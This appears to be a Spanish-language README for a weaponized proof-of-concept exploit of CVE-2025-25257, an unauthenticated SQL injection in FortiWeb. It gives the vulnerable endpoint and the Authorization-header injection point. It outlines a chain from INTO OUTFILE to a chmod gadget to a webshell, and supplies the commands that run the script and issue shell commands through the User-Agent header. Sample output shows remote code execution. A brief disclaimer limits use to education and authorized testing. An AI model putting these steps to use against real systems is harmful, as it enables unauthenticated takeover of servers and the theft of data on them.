
PoC para CVE-2025-25257, una inyección SQL crítica sin autenticación en FortiWeb. Explota SQLi mediante el encabezado Authorization para escribir un webshell y obtener RCE. No requiere inicio de sesión. Completamente automatizado.
Inyección SQL crítica → Ejecución de Webshell
Descubierto y armado por 0xgh057r3c0n
CVE-2025-25257 afecta a sistemas FortiWeb que exponen el endpoint /api/fabric/device/status, el cual no sanitiza correctamente la entrada del encabezado Authorization.
Un atacante puede realizar una inyección SQL sin autenticación para escribir un webshell en el servidor y ejecutar comandos de forma remota.
SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE
GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>
INTO OUTFILE para colocar shellpython3 CVE-2025-25257.py -t https://target-host.com
Luego:
curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi
requestsInstalación:
pip install requests
[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)
[+] Webshell Ready:
> https://target-host.com/cgi-bin/x.cgi
> Send commands via User-Agent header
| Métrica | Valor |
|---|---|
| Puntuación base | 9.8 (CRÍTICO) |
| Vector de ataque | Red |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| Impacto | Alto (C/I/A) |
0xgh057r3c0n 🔗 github.com/0xgh057r3c0n
Esta prueba de concepto es solo para fines educativos y pruebas autorizadas. Úsela bajo su propio riesgo. El autor no se responsabiliza por el mal uso.